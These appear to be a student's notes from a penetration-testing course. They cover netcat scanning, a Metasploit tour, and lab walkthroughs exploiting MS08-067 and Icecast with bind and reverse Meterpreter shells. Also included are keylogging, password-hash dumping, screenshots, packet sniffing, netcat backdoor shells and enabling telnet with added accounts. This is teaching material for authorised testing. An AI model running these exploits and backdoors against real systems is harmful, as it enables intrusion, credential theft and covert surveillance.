  • Then, try is again without the echo “”
    • When it pauses, try hitting Enter Enter
# nc -v -n -z -w1 10.10.10.60 20-80
# echo "" | nc -v -n -w1 10.10.10.60 20-80
# nc -v -n -w1 10.10.10.60 20-80

output without port range, but different data options:

steve@independence ~ $ nc -vv -n -z 127.0.0.1 32777
(UNKNOWN) [127.0.0.1] 32777 (?) open
 sent 0, rcvd 0
steve@independence ~ $ nc -vv -n 127.0.0.1 32777
(UNKNOWN) [127.0.0.1] 32777 (?) open
SSH-2.0-OpenSSH_5.1
                                  < hit enter here
Protocol mismatch.
 sent 1, rcvd 40
steve@independence ~ $ echo "" | nc -vv -n 127.0.0.1 32777
(UNKNOWN) [127.0.0.1] 32777 (?) open
SSH-2.0-OpenSSH_5.1
Protocol mismatch.
 sent 1, rcvd 40
steve@independence ~ $ echo "" | nc -vv -n 127.0.0.1 32777 > /dev/null
(UNKNOWN) [127.0.0.1] 32777 (?) open
 sent 1, rcvd 40
steve@independence ~ $ echo "" | nc -vv -n 127.0.0.1 32777 2> /dev/null
SSH-2.0-OpenSSH_5.1
Protocol mismatch.
steve@independence ~ $ 

Then with port ranges:

steve@steve-thinkpad:~$ nc -v -n -z 192.168.1.10 32775-32778
nc: connect to 192.168.1.10 port 32775 (tcp) failed: Connection refused
nc: connect to 192.168.1.10 port 32776 (tcp) failed: Connection refused
Connection to 192.168.1.10 32777 port [tcp/*] succeeded!
nc: connect to 192.168.1.10 port 32778 (tcp) failed: Connection refused
steve@steve-thinkpad:~$ echo "" | nc -v -n 192.168.1.10 32775-32778
nc: connect to 192.168.1.10 port 32775 (tcp) failed: Connection refused
nc: connect to 192.168.1.10 port 32776 (tcp) failed: Connection refused
Connection to 192.168.1.10 32777 port [tcp/*] succeeded!
steve@steve-thinkpad:~$ nc -v -n 192.168.1.10 32775-32778
nc: connect to 192.168.1.10 port 32775 (tcp) failed: Connection refused
nc: connect to 192.168.1.10 port 32776 (tcp) failed: Connection refused
Connection to 192.168.1.10 32777 port [tcp/*] succeeded!
SSH-2.0-OpenSSH_5.1

Protocol mismatch.
nc: connect to 192.168.1.10 port 32778 (tcp) failed: Connection refused
steve@steve-thinkpad:~$ 

Notice: the second test does not complete

Grabbing Client Connection Strings ..2.181

  • Set up a Netcat listener that will verbosely listen on local TCP port 80, not resolving names of systems that connect there:
# nc -v -n -l -p 80
  • Then, from another terminal run mozilla in the background
# mozilla &
  • Look at the Netcat output, specifically the User-Agent string
  • Hit CTRL-C in the netcat window and restart it and browse to it from IE on Windows
  • try others like Firefox, RealPlayer, Quicktime, surfing to
[IPaddr]:[port]

Exercise: "Service-is-Alive" Heartbeat ..2.182

  • Show listening port 25
# netstat -nat | grep 25
  • set up Netcat heartbeat to check the port
# while (true); do nc -vv -z -w3 127.0.0.1 25 > /dev/null && echo -e "\x07"; sleep 1; done
  • stop sendmail
# service sendmail stop
  • the heartbeat should go silent
  • start the service
# service sendmail start
  • stop the monitor with CTRL-C. If that does not work,
# killall -9 nc

Exercise: "Service-is-Dead" Alert ..2.183

  • Create a service is dead alert
  • Verify the port is listening
# netstat -nat | grep 25
  • set up a Netcat monitor to check that port, printing happy message when the port completes a connection and make a lot of noise when it doesn't
$ while `nc -vv -z -w3 127.0.0.1 25 > /dev/null` ; do echo "Service is ok"; sleep 1; done; echo "Service is dead"; while (true); do echo -e "\x07"; done
# service stop sendmail

Day 3

Why Exploitation ..3.3

What is Exploitation? ..3.4

  • Exploit: Code or technique that a threat uses to take advantage of a vulnerability
    • for a penetration tester exploitation often involves gaining access to a machine to run commands on it
    • Possibly with limited privileges
    • perhaps with superuser privileges
  • Some examples
    • Move files to a target machine
    • Take files from a target machine
    • Sniff packets at the target
    • Reconfigure the target machine
    • Install software on a target machine

Why Exploitation ..3.5

  • False positive reduction / elimination
    • Even if exploit doesn't work, you still may want to report on detected vulnerability
  • Proof of vulnerability and therefore more realistic treatment of risk
  • Use of one machine as a pivot point to get deeper inside the network
    • More of a sense of what a real bad guy can accomplish

Risks of Exploitation ..3.6

  • Service crash
  • System crash
  • System stability impacted
  • System integrity violated
  • Data exposure with legal ramifications
  • Because of these concerns, verify that exploitation is allowed by rules of Engagement, and double check for a givien system whether it is in scope
  • Also, understand the probabilistic nature of exploit success

Exploit Categories ..3.7

Categories of Exploits ..3.8

  • Exploit: a piece of code that makes a target machine do something on behalf of an attacker
  • Generally speaking, most exploits fall into one of three categories:
    • Service-side exploit
    • Client-side exploit
    • Local privilege escalation
  • A penetration tester may need to use any one, or more likely, a combination of each of these kinds of attacks

Service-Side Exploits ..3.9

  • Listening service has a vulnerability
  • Attacker composes specific packets for service to exploit it
  • Firewall filtering must allow inbound packets for given service
    • once we gain access to one system inside firewall, we may be able to pivot

Notable Windows Service-Side Exploits ..3.10

  • Windows Services
    • MS-RPC-DCOM: MS 03-026 – Blaster Worm, 2003
    • LSASS: MS 04-11 – Sasser Worm, 2004
    • uPNP: MS 05-39 – Zotob worm/bot, 2005
    • RRAS: MS06-025 – 2006
    • Server Service: MS 06-040 – 2006
    • Server Service: MS 08-067 – Confiker November 2008
    • Approximately one or two big ones per year
  • Other Microsoft products on Windows
    • IIS: Numerous examples
  • Data Backup Products
    • Veritas, CA Brightstor, and Arkeia
  • Virtual Network Computing -VNC
    • Authentication bypass flaw from 2006, and other flaws, often not patched

Notable Linux and Unix Service-Side Exploits ..3.11

  • Linux and Unix Services:
    • Solaris sadmind command execution flaw, CVE-2003-0722
    • Solaris and Mac OS X Samba v=buffer overflow, CVE-2003-0201
    • Mac OS X Apple File Share buffer overflow, CVE-2004-0430
    • Linux Squid NTLM Authentication buffer overflow, CVE-2004-0541
    • HP-UX LPD service command execution, CVE-2005-3277
    • Numerous Linux flaws in CGI and PHP scripts for web servers, including:
      • Awstats CGI, PHP Wordpress, PHP XML-RPC, PHP-vBulletin

Client-Side Exploits ..3.12

  • Client-side exploits wait for a client application to access attacker-supplied response/file, then deliver an exploit
    • More plentiful in recent years
    • For pen tests with client-side exploits in scope, compromise is almost always successful

Notable Client-Side Exploits ..3.13

  • Browsers
    • Internet Explorer
    • Firefox
  • Media players
    • Quicktime Player
    • Real Player
    • Winamp
  • Document-Reading Applications
    • Acrobat Reader
    • Microsoft Word, Powerpoint, Excel
  • Run-Time Environments
    • Java

Determining Client-Side Programs In Use ..3.14

  • How to know which client-side software is running?
    • Analyze metadata from any available documents recently produced by the target organizaiton
  • Ask Target personnel
    • If they are interested in a thorough test, they may provide info
    • Make a checklist
  • Have them surf to testing systems
    • limited - focuses on browsertypes via User-Agent strings
    • Requires user interaction
    • Outbound web proxy may disguise client types
  • Guess
    • It is not hard to anticipate what they'll be running

Client-Side Software inventory Tools ..3.15

  • Ask personnel to run a software inventory tool on representative workstations and send the results
    • Microsoft Baseline Security Analyzer (MBSA) is very helpful
    • Shavlak Technologies' HFNetChk Pro can help
    • Secunia's Corporate Software inspector can as well
    • Custom-written scripts can be helpful too that simply perfor a recursive search of C:\Program Files
C:\> dir /s "c:\Program Files" > inventory.txt
  • Output includes last update date if files…indicating last revision and possibly patch date

Making Client Software Access Testing Systems ..3.16

  • Manual user intervention, coordinated via telephone
  • E-mail with links
    • Make sure recipients are in the project scope
  • Script that launches client programs:
C:\> c:\windows\ie7\iexplore.exe www.testmachine.org
C:\> "c:\Program Files\Mozilla Firefox"\firefox.exe www.testmachine.org
social engineering toolkit – works with metasploit

Use Appropriate Client Machines ..3.17

  • Be careful that target personnel use a *representative* sample of a client machine
    • not one that is freshly patched just for the test
  • Often, a tester hears:
    • “I'm almost ready for the test,,, just let me update my patches”
    • Such a test is not really revealing the true risks of the target organization
    • Politely explain this to target personnel…
    • And make sure that the Rules of Engagement or scoping agreement mentions using a “representative sample” of machines

Local Privilege Escalation Exploits ..3.18

  • Besides service-side and client-side exploits, we also have local privilege escalation
    • Require some form of access on the machine in advance
    • Possibly client-side exploit, service-side exploit, password guessing, password sniffing, etc.
  • Jump from a limited privilege account to higher privileges, such as:
    • root / UID 0 on Linux or Unix
    • Administrator or SYSYEM on Windows
  • Can allow tester to read arbitrary files from system, install software, run a sniffer, etc.
  • Many vendors do not rate these vulnerabilities as “Critical”, so they are less likely to be patched in a timely fashion

Local Privilege Escalation Attack Categories ..3.19

  • Various types of local-privilege escalation attacks:
    • Race conditions
    • Attacks against the kernel
    • Local exploit of high-privileged program or service
      • Linux / Unix: SetUID 0 executable files - binaries or scripts
      • Windows: Attacks against processes such as csrss.exe, winlogon.exe, lsass.exe, etc.

Metasploit ..3.20

Metasploit Exploitation Framework ..3.21

  • free, open-source exploitation framework
  • What is an exploitation framework?
    • An environment for running numerous different exploits in a flexible fashion
    • An environment for creating new exploits, using interchangeable piece parts
    • Simplifies the creation of new exploits
    • Standardizes the usage of new exploits
  • Runs on Linux, Mac OS X, and Windows
    • Although, according to documentatino for some versions, “The Metasploit Framework is only partially supporte don the Windows platform. If you would like to access most of thr Framework features from Windows, we recommend using a virtualization environment, such as VMware, with a supported Linux distribution…”

The Metasploit Arsenal .3.22

  • Metasploit divides up the concept of exploits and payloads
    • An exploit takes advantage of a flaw in a target program
    • The payload makes the target do something the attacker wants
    • Metasploit includes over 475 exploits and many dozen payloads

Metasploit Versions ..3.23

  • The course DVD includes several versions of Metasploit
    • Located in the Linux image in /home/tools/framework-[version]
    • Penetration tester often rely on multiple version of Metasploit
    • Some version inclde exploits that other version don't have
    • In some version, a given exploit is more reliable
      • More likely to succeed in getting access, less likely to crash target service
      • In you can install the target vulnerable app in a lab, you may want to check the exploit against it to experiment
    • And.. some testers are just maore familiar with a given version
  • Metasploit 2.X was written in (mostly) Perl
  • Metasploit 3.X was written in (mostly) Ruby

A Guided Tour of Metasploit ..3.24

  • We can look at Metasploit from within its console interface, or from te file system of the machine running metsploit
  • To look around inside the Metasploit console, you could run:
# cd /home/tools/framework-[version]
# ./msfconsole
msf> show exploits
msf> show payloads

Looking at MSF Components via the File System ..3.25

  • Documentation
  • User interfaces
  • Modules
  • Exploit Creation Tools
  • Other items

Useful Metasploit User Interfaces ..3.26

  • msfconsole: a customized metasploit command prompt… use this one!
  • msfd: a daemon that listens by default on TCP port 55554, offering up msfconsole access to anyone that conects
    • Useful for having a single Metasploit install accessed by multiple users, all using the same version at the same time
    • But, no authentication or encryption
  • msfcli: the command line, all options specified in single command, useful for scripts

Other Metasploit user Interfaces ..3.27

  • msfgui: a ruby-based GTK (GIMP Toolkit) GUI for Metasploit
    • msfgui is not going to be supported
  • msfweb: creates web server on TCP port 55555, listening for browser connections that can configure Metasploit exploits
    • msfweb is a good demo

Metasploit Modules – Exploits ..3.28

cd /home/tools/framework-3.3.3/modules
ls
  • auxiliary: Miscellaneous items, including vuln checkers, denial of service tools, etc
  • encoders: Modules that convert exploits an payloads to a different form to bypass filters for certain characters and dodge signature-based detection
  • exploits: Metasploit's exploit arsenal
  • nops: Modules that create NOP sleds from functionally equivalent machine-language instructions to improve the odds of successful exploitation
  • payloads: Metasploit's payload arsenal
  • Modules.rb.ts.rb: A test suite for various modules

The Metasploit Arsenal ..3.29

cd /home/tools/framework-3.3.3/modules/exploits
ls
  • sorted by operating system
    • bsdi, hpux, irix, osx, solaris, unix, windows
    • multi: exploits that hit multiple target operating system types, including some browser attacks, PHP exploits, and some samba exploits
    • test: experimental exploits often used as examples for new exploit development
  • Note that the operating system directories contain exploits for the OS itself, as well as programs that urn on the OS
    • example: windows directory includes exploits for Windows and software that runs on Windows (anti-virus, backup tools, games, POP3 and IMAP mail server, etc.)

Windows Exploits ..3.30

cd /home/tools/framework-3.3.3/modules/exploits/windows
ls
  • Numerous categories, but some of the most useful include:
    • dcerpc: Microsoft's implementation of the Distrubuted Computing Environment Remote Procedure Call, often used for remote access and administration of Windows
    • browser: Clent-side exploits, mostly for IE, but also includes AIM, RealPlayer, QuickTime, iTunes, Winamp, etc.
    • iis: Server-side exploits for Microsoft's web server
    • smb: Server-side exploits for Microsoft's Server Message Block implementation
    • vnc: Attacks against Virtual Network Computing clients and servers

Metasploit Exploits: Looking at Windows Server Service Exploit ..3.31

cd /home/tools/framework-3.3.3/modules/exploits/windows/smb
gedit ms08_067_netapi.rb
  • OSVDB number searchable at osvdb.org
  • CVE number searchable at cve.mitre.org
  • Bugtraq ID

Metasploit Modules: Payloads ..3.32

cd /home/tools/framework-3.3.3/modules/payloads
ls
  • singles: Stand-alone payloads that have their functionality and communication bundled together
  • stagers: Payload piece-parts that load first and allow a later stare to communicate with the attacker in numerous flexible fashions
  • stages: Payload piece-parts that implement a function, but communicate using an already-loaded stager
  • a stager + a stage = full payload

Metasploit Payloads: Windows Singles ..3.33

cd /home/tools/framework-3.3.3/modules/payloads/singles/windows
ls
  • adduser: Creates an account and adds it to the local admin group
  • exec: Runs a command of attacker's choosing
  • download_exec: Downloads a file via HTTP and executes it
  • shell_bind_tcp: Standard TCP shell listener
  • shell_bind_tcp_xpfw: shots off Windows firewall and starts TCP shell listener
  • shell _reverse_tcp: Reverse shell back to attacker

Metasploit Payloads: Windows Stagers ..3.34

cd /home/tools/framework-3.3.3/modules/payloads/stagers/windows
ls
  • bind_tcp: Listen on a TCP port for new connection
  • findtag_ord: Use existing TCP connection that exploit was delivered over
  • reverse_tcp: Make a reverse connection from target back to attacker
  • reverse_ord_tcp: Make reverse connection using ws2_32.dll already loaded into memory of exploited process
  • passivex: Run ActiveX control in IE for reverse HTTP communications

PassiveX Stager in Action ..3.35

  • 1 Attacker delivers exploit with PassiveX loader
  • 2 Reconfigs IE, runs IE, and fetches URL
  • 3 HTTP Request
  • 4 Response is ActiveX control called PassiveX stager, which loads stage such as the Meterpreter or VNC
  • 5 Meterpreter or VNC uses PassiveX stager running inside of IE to get commands from attacker via HTTP

Metasploit Payloads: Windows Stages ..3.36

cd /home/tools/framework-3.3.3/modules/payloads/stages/windows
ls
  • dllinject: Inject arbitrary DLL into target memory
  • upexec: Upload and run an executable
  • shell: Windows cmd.exe shell
  • vncinject: Virtual Network Computing remote GUI control
  • Meterpreter: Flexible specialized shell environment

Updating Metasploit ..3.37

  • Change to the framework directory and:
# svn update

This Concludes Our Tour ..3.38

Exercise: bind_tcp ..3.39

Metasploit Exercise ..3.40

  • use MS08-067 against 10.10.10.10
    • Vulnerability in the Server service
    • gives attacker local SYSTEM privileges

Launching Metasploit ..3.41

# cd /home/tools/framework-3.3.3

rells our shell to run a version of the Ruby environment compatible with this version of metasploit

# source /opt/usenewruby.sh
# ./msfconsole
msf > 

because of a bug in the way metasploit handles color:

msf > color false

Looking at Exploit Arsenal ..3.42

msf > show exploits

Using Metaspoit's Search Feature ..3.43

msf > search -t exploit -r great smb

Selecting an Exploit and Reviewing Payloads ..3.44

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show payloads

Selecting a Payload and Reviewing Options ..3.45

msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf exploit(ms08_067_netapi) > show options
  • RHOST and LPORT are significant here
  • “back” command in the MSF console will back out of a payload

Running Local Commands in the MSF Console and Setting Options ..3.46

  • “normal” operating system commands can be run from the console, like ping
msf exploit(ms08_067_netapi) > ping -c 4 10.10.10.10
msf exploit(ms08_067_netapi) > set RHOST 10.10.10.10
msf exploit(ms08_067_netapi) > set LPORT [number]

Exploiting the Target ..3.47

msf exploit(ms08_067_netapi) > exploit
C:\WINNT\system32>hostname
hostname
trinity

Listing Metasploit Sessions ..3.48

msf exploit(ms08_067_netapi) > sessions -l

Interacting with a Session ..3.49

msf exploit(ms08_067_netapi) > sessions -i [N]
  • CTRL-Z will prompt you to background the session
  • CTRL-C will drop the session altogether

Exiting the Shell and the Metasploit Console ..3.50

C:\WINNT\system32>exit
exit
^C
Abort session 1? [y/N] y

[*] Command shell session 1 closed
msf exploit(ms08_067_netapi) > exit
#

The Meterpreter ..3.51

The Metasploit Meterpreter ..3.52

  • Metasploit Interpreter = Meterpreter
  • A Metasploit payload that acts as a specialized shell running inside the memory of a metasploit-exploited process
    • most of the hard-core development work in the Meterpreter is by Skape
  • Consists of a series of DLL's injected into the process's memory
    • No separate process created
    • Currently focused on Windows targets
      • Work ongoing in development of Meterpreter for Linux (called Meterpretux) and for Mac OS X (called Machterpreter)
tasklist

To get a list of all DLL's loaded into all processes on a Windows XP, 2003, Vista or 2008 Server:

tasklist /m
tasklist /m metserv.dll
* since it is memory resident, it disappears on reboot.
How does a task not show up in tasklist?  This happened with a program in class, but killall got rid of it.

Meterpreter Functionality: Some Base Commands ..3.53

  • ? / help: Display a help menu
  • exit / quit: Quit the Meterpreter
  • sysinfo: Show name, OS Type
  • shutdown / reboot: Self-explanatory
  • reg: read or write to the Registry

Meterpreter Functionality: File System Commands ..3.54

  • cd: navigate directory structure
  • lcd: change local directories on attacker machine
  • pwd / getwd: Show the current working directory
  • ls: List the directory contents
  • cat: Display a file's contents
  • download / upload: Move a file to or from the machine
  • mkdir / rmdir: Make or remove directories
  • edit: Edit a file using default editor (typically vi)

Meterpreter Functionality: Process Commands ..3.55

  • getpid: Returns the process ID that Meterpreter is running inside
  • getuid: Returns the user ID that the Meterpreter is running with
  • ps: Process list
  • kill: Terminate a process
  • execute: Run a given program
  • migrate: Jump to a given destination process ID
    • Target process must have the same or lesser privileges
    • My be a more stable process
    • When inside the process, can access any files that is has a lock on

Meterpreter Functionality: Network Commands ..3.56

  • ipconfig: Show interface information
  • portfwd: Forward packets for a local TCP port to another system on a different TCP port
  • route: Manage the systems' routing table

Meterpreter Functionality: Target Machine Console Interface ..3.57

  • The Meterpreter offers a couple of features associated with the target machine's console user interface:
    • Show how long the user at the console has been idle
meterpreter > idletime
  • Turn on or off user input devices:
meterpreter > uictl  [enable/disable] [keyboard/mouse]
  • Can really mess with a user
  • Dangerous for use in most penetration tests

Meterpreter Functionality: Keystroke Logger ..3.58

  • The Meterpreter also includes a keystroke logger
    • Invoked with the keyscan_start command
    • Then, access ekystrokes with keyscan_dump command
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

Meterpreter Functionality: Pivoting using Metasploit's Route Command ..3.59

  • Metasploit 3.x includes a “route” command to pivot through already-exploited host via a Meterpreter session
    • Carries follow-on exploits and payloads across Meterpreter session
    • Don't confuse this with the Meterpreter “route” command, which manages routing tables on system running Meterpreter
msf > use [exploit]
msf > set RHOST [victim1]
msf > set PAYLOAD windows/meterpreter/bind_tcp
msf > exploit
meterpreter > (CTRL-Z to background session... will display meterpreter sid)
msf > route add [victim2_subnet] [netmask] [sid]
msf > use [exploit2]
msf > set RHOST [victim2]
msf > set PAYLOAD [payload2]
msf > exploit

Meterpreter Functionality: Additional Modules ..3.60

  • The Core and Stdapi modules loaded by default are powerful
  • But other modules provide very useful capabilities for the tester
    • Located under the framework directory, under data/meterpreter
  • To load additional modules:
meterpreter > use [modulename]

To load the ext_server_priv.dll:

meterpreter > use -m Priv
  • Additional functionality will appear
  • ? / help will be expanded to include the new capabilities

Meterpreter Functionality: Priv Module ..3.61

  • Two command implemented in Priv module:
    • hashdump - Dump the SAM databas in a form suitable for cracking
    • timestomp - Alter the MACE dates/times associated with a file
      • M=Modified (last written)
      • A=Accessed
      • C=Created
      • E=MFT Entry ( Master File Table stores metadata about a file, such as it's name(unicode and 8.3 DOS-style), size, and security settings

Meterpreter Functionality: espia Module ..3.62

  • The espia module pulls screenshots, webcam frames, and microphone audio from the target machine running Meterpreter
meterpreter > screenshot [filename.bmp]
meterpreter > dev_image
meterpreter > dev_audio [n seconds]
  • The “dev” commands are in development & are currently ustable

Meterpreter Functionality: Sniffer Module ..3.63

  • The Meterpreter also includes a sniffer module
  • Adds several commands:
    • sniffer_interfaces
    • sniffer_start
    • sniffer_stats
    • sniffer_dump
    • sniffer_stop
  • Allows the attacker to pull down a libpcap-style packet capture file
meterpreter > user sniffer
meterpreter > sniffer_interfaces
meterpreter > sniffer_start 1
meterpreter > sniffer_dump 1 remotecapture.pcap
meterpreter > sniffer_stop 1

Exercise: Meterpreter ..3.64

Server-Side Exploitation and Meterpreter Exercise ..3.65

  • 0 Install Icecast 2.0.0
  • 1 Configure Metasploit to exploit icecast
  • 2 Send Exploit and Meterpreter sending the reverse_tcp stager as a payload with Meterpreter stage
  • 3 Reverse Meterpreter Shell runs in Icecast process memory
  • 4 Use Meterpreter to access victim machine

0) Install Vulnerable Icecast ..3.66

mkdir c:\icecasttemp
  • Select destination directory

0) Disable Data Execution Prevention for Icecast ..3.68

  • control Pannel→System→Advanced→Performace→Settings→Data Execution Prevention
  • Turn on DEP for all programs and services except those I select
  • Click add
  • c:\icecasttemp\icecast2.exe
  • reboot

0) Disable Certain Security Tools that Block Exploits ..3.69

1) Configure Metasploit ..3.70

# cd /home/tools/framework-3.3.3
# source /opt/usenewruby.sh
# ./msfconsole
msf > color false
msf > search icecast

Choose Exploit & Payload ..3.71

msf > use exploit/windows/http/icecast_header
msf exploit(icecast_header) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(icecast_header) > show options

1) Set Options ..3.72

msf exploit(icecast_header) > set RHOST [Your_Windows_IP_Address]
msf exploit(icecast_header) > set LHOST [YourLinuxIPaddr]
msf exploit(icecast_header) > set TARGET 0

1) Run Icecast on Windows ..3.73

  • run as administator on Windows 7

1) Finish & 2) Sending Exploit ..3.74

msf exploit(icecast_header) > service iptables stop
c:\> ping [YourLinuxIPaddr]
msf exploit(icecast_header) > exploit

3) Look at and Interact with Reverse Meterpreter Session ..3.76

msf exploit(icecast_header) > sessions -l
msf exploit(icecast_header) > sessions -i 1
meterpreter >

4) Interact with Meterpreter: System Info ..3.77

meterpreter > sysinfo
meterpreter > getuid
meterpreter > ps (note the ProcessID for icecast2.exe)
meterpreter > help

4) Interact with Meterpreter: File System ..3.78

meterpreter > cd c:\
meterpreter > pwd
meterpreter > ls
meterpreter > cd c:\icecasttemp
meterpreter > ls

4) Interact with Meterpreter: More File System ..3.79

meterpreter > edit testfile.txt
meterpreter > cat testfile.txt

download file to Linux machine

meterpreter > download testfile.txt /tmp

in another window on the Linux machine:

# cat /tmp/testfile.txt

4) Interact with Meterpreter: Process Execution and Interaction ..3.80

meterpreter > execute -f cmd.exe -c
Process 3830 created.
Channel 6 created.
meterpreter > interact 6
...
c:\icecasttemp>hostname
hostname 
VistaLab

c:\icecasttemp>ipconfig
ipconfig
...
c:\exit
meterpreter >
  • Note that the cmd.exe window appeared on Windows GUI while it was running. To make the program run in a hidden mode, the execute command can be run with a -H option for “hidden”
  • the execute command is nice an flexible, in that it allows us to run any program we want, channelizing its Standard Input and Standard Output

4) Interact with Meterpreter: An Easier Way to Get Shell ..3.81

  • To simply run a command shell in hidden mode, that channelizes and connects, this is all that is needed:
meterpreter > shell
C:\> hostname
C:\> ipconfig
C:\> dir
C:\> exit
meterpreter >

4) Interact with Meterpreter: Invoking the Sniffer ..3.82

meterpreter > use sniffer
meterpreter > sniffer_interfaces
meterpreter > sniffer_start [N]
c:\> ping [YourLinuxIPaddr]

back on the Linux system, dump the captured packets into a PCAP file

meterpreter > sniffer_dump [N] /tmp/vmnet1.pcap
meterpreter > sniffer_stop [N]

In another terminal window:

# wireshark /tmp/vmnet1/pcap

4) Interact with Meterpreter: Invoking Espia for Screenshots ..3.83

meterpreter > use espia
meterpreter > screeshot /tmp/my_screen.bmp

After the espia module takes the screenshot, you should see an image of your Windows screen open in the Firefox browser.

4) Interact with Meterpreter: Process Migration ..3.84

  • We will now migrate the Meterpreter DLL on the exploited machine from one process to another. We'll jump from icecast2.xe proccess into a notepad.exe process on our Windows machine

get current process ID

meterpreter > getpid

find notepad.exe

meterpreter > ps

jump to the new process

meterpreter > migrate [destination_process_ID]

may take several seconds to work, then get the new process ID

meterpreter > getpid

it should be notepad

4) Interact with Meterpreter: Keystroke Logging ..3.85

meterpreter > keyscan_start

Type some text into the notepad window

meterpreter > keyscan_dump

It may skip or reverse charaters, especially if someone types really fast

meterpreter > keyscan_stop

4) Exiting Meterpreter and Metasploit ..3.86

meterpreter > exit
msf exploit(icecast_header) > exit
#
  • restore DEP settings and reactivate security software

Finally, Stop and Uninstall Icecast ..3.87

  • Stop Icecast server
  • Stop Icecast program

C:\> c:\icecasttemp\unins000.exe

c:\> rmdir /s c:\icecasttemp

Command Shell vs. Terminal Access ..3.88

Command Shell vs. Terminal Access ..3.89

  • command shell access != terminal access
  • Terminal control sequences in Standar Output can mess up a shell…
  • …and a shell can mess up commands that rely on these control sequences.
  • This issue often manifests itself with commands that:
    • clear the screen
    • Turn echo on or off
    • Formulate columns in output
    • Have other strange interactions with Standard Output
  • Shell access gives the tester the ability to send commands to a target (as raw Standard Input to a shell) and get responses back (as raw Standard Output from the shell). Terminal access is usually obtained via telnet, Secure Shell (ssh), or other formal login mechanism.
  • Terminal access to the target is much more intelegent, adapting output based on the screen-size and character set of the terminal.

Standard input Issues with Shell vs. Terminal ..3.90

  • Various useful items in Standard Input could cause problems for a terminal-less shell
  • CTRL-C is a big one, wspecially within Netcat
    • Causes Netcat client to drop a connection
    • The shell may be lost, and re-invoking it could take valuable time (seconds to hours)
  • Also, CTRL-D, CTRL-Z, CTRL-[, and CTRL-]

Exercise: The Dilemma Illustrated ..3.91

Using Netcat for Shell Access to Windows Target ..3.92

  • Illustrated using Netcat to get shell access to our machines
  • Start a backdoor on Windows:
C:\> nc -L -p 2222 -e cmd.exe
  • -L makes it persistent across connections (Listen Harder)
  • -p on port 2222
  • -e execute a command shell

The Shell vs. Terminal Dilemma Illustrated on Windows ..3.93

  • This give merely shell access
# nc 10.10.10.76.2 2222

Display the computer name

C:\> hostname

Display who the current user is

C:\> set username
C:\> dir
  • also ipconfig and cd

Problem-some Termial Commans on Windows ..3.94

The clear screen commands will not clear the screen, but instead send the control characters to the shell

C:\> cls

Edit will not work either

C:\> edit file.txt

close the editor by hitting Esc, then ALT-F, and then X. Move to NO and hit Enter.

This command will fall through the password prompt.

runas /u:administrator cmd.exe

Even More Problems-some Terminal Commands on Windows ..3.95

List of running processes:

C:\> wmic process list full

List all Windows services:

C:\> sc query

List status of Telnet service:

C:\> sc qc tlntsvr

this hangs the shell

C:\> sc
C:\> sc /?
  • sc works fairly well but changes as Windows issues patches

Using Netcat for Shell Access to Linux Target ..3.96

# nc -l -p 4444 -e /bin/sh

The Shell vs. Terminal Dilemma Illustrated on Linux ..3.97

C:\> cd c:\tools
C:\tools> nc 10.10.10.75.2 4444

no command prompt is displayed, but commands can still be issued

uname -a
whoami
ls

other commands: ifconfig, cd

Determining Your Terminal Status in Linux ..3.98

  • To determine if you have mere shell access or a true terminal on a Linux or Unix environment, you could type:
tty
  • If you see a /dev entry, that is your current tty and you have a terminal
  • If you see “not a tty”, you just have a shell

Problem-some Terminal Commands on Linux ..3.99

  • These don't work well because they require terminal control sequences
vi
emacs file.txt
man ls

Even More Problem-some Terminal Commands on Linux ..3.100

The su and sudo commands on Linux ..3.101

These put the password prompt on the wrong terminal:

su
sudo

works fine

whoami
su - student

This won't work at all:

su -
whoami

this prompts the password on the wrong machine and you cannot enter a password through the client

sudo /bin/sh

If you Have Extra Time: Analyze telnet and ssh Clients ..3.102

  • Telnet and ssh clients expect that they are being run from a terminal
    • Especially to escape entry of a password
    • Thus, authentication via telnet or ssh from a raw shell can be a problem
  • Attacker –shell access–> Conquered Target –telnet or ssh–>Next Target
  • If you have extra time during this exercise, run Netcagt on Windows → Netcat shell on Linux → telnet or ssh to 10.10.10.50

Bypassing Dilemma ..3.103

Dealing with the Shell vs. Terminal Dilemma ..3.104

  • Command-by-command workarounds
    • avoid problem commands
    • use similar commands that provide similar results
  • Use shell access to enable terminal access
    • involves changing configuration of machine
  • The second method is best for long term access, but it has baggage - it could involve system reconfiguration and/or the introduction of security weaknesses

Windows Option 1: Command-by-Command Workarounds ..3.105-106

  • test commands on a local system with the same Windows version as the target to verify how each command behaves

^ Command ^ Purpose ^ Possible Workaround(s) ^

C:\> cls Clear Screen Hit Enter several times
C:\> edit Edit file Use echo txt » file.txt
C:\> runas Run a command as a different user 1) just avoid this
2) Schedule a job using schtasks or at command
C:\> wmic Numerous uses
fine-grained system management
C:\> telnet telnet to next host Use a Netcat client with the -t option
C:\> ssh ssh to next host Get terminal access

* echo in windows does not need quotes (“ ”) around the text–it will also echo the quotes

Windows Option 2: Enabling Terminal Access ..3.107

  • Remote terminal access on a Windows machine can be done with several options
    • Activate telnet service
    • Activate remote desktop / terminal services
    • Install SSH daemon
    • Install VNC
  • Be careful with any of these
    • they change the configuration
    • You may introduce a new security flaw
    • A malicious attacker may piggy-back in on your new access
    • Clean up when done - shutdown services and uninstall

Windows Terminal Access: Activating Windows Telnet Service ..3.108

  • Activating Windows telnet service and making it useful involves several steps
    • Enable the service
    • Configuring an account to use the telnet service
    • Configuring the Windows firewall to allow the inbound access
    • WATCH OUT! Clear-text authentication
  • Check current status of service:
C:\> sc query tlntsvr
  • Change startup type to demand (a manually started service)(watch picky syntax):
C:\> sc config tlntsvr start= demand
  • Turn service on:
C:\> sc start tlntsvr
  • Also:
c:\> pkgmgr /iu:”TelnetClient”
c:\> pkgmgr /iu:”TelnetServer
c:\> To uninstall, use /uu:
meterpreter > run gettelnet

Enabling Telnet Service - Finishing the Task ..3.109

  • Make sure you have an account
C:\> net user [username] [password] /add
  • Put account in the TelnetClients group:
C:\> net localgroup TelnetClients /add
C:\> net localgroup TelnetClients [username] /add
  • Configure firewall to allow inbound access on TCP 23
C:\> netsh firewall add portopening protocol = TCP port = 23 name = telnet mode = enable scope = custom addresses = [yourIPaddress]

Windows Terminal Access: Activating Remote Desktop Service ..3.110

  • similar to telnet
  • Check current status of service
C:\> sc query termservice
  • Change startup type to demand (a manually started service):
C:\> sc config termservice start= demand
  • Turn service on
C:\> sc start termservice
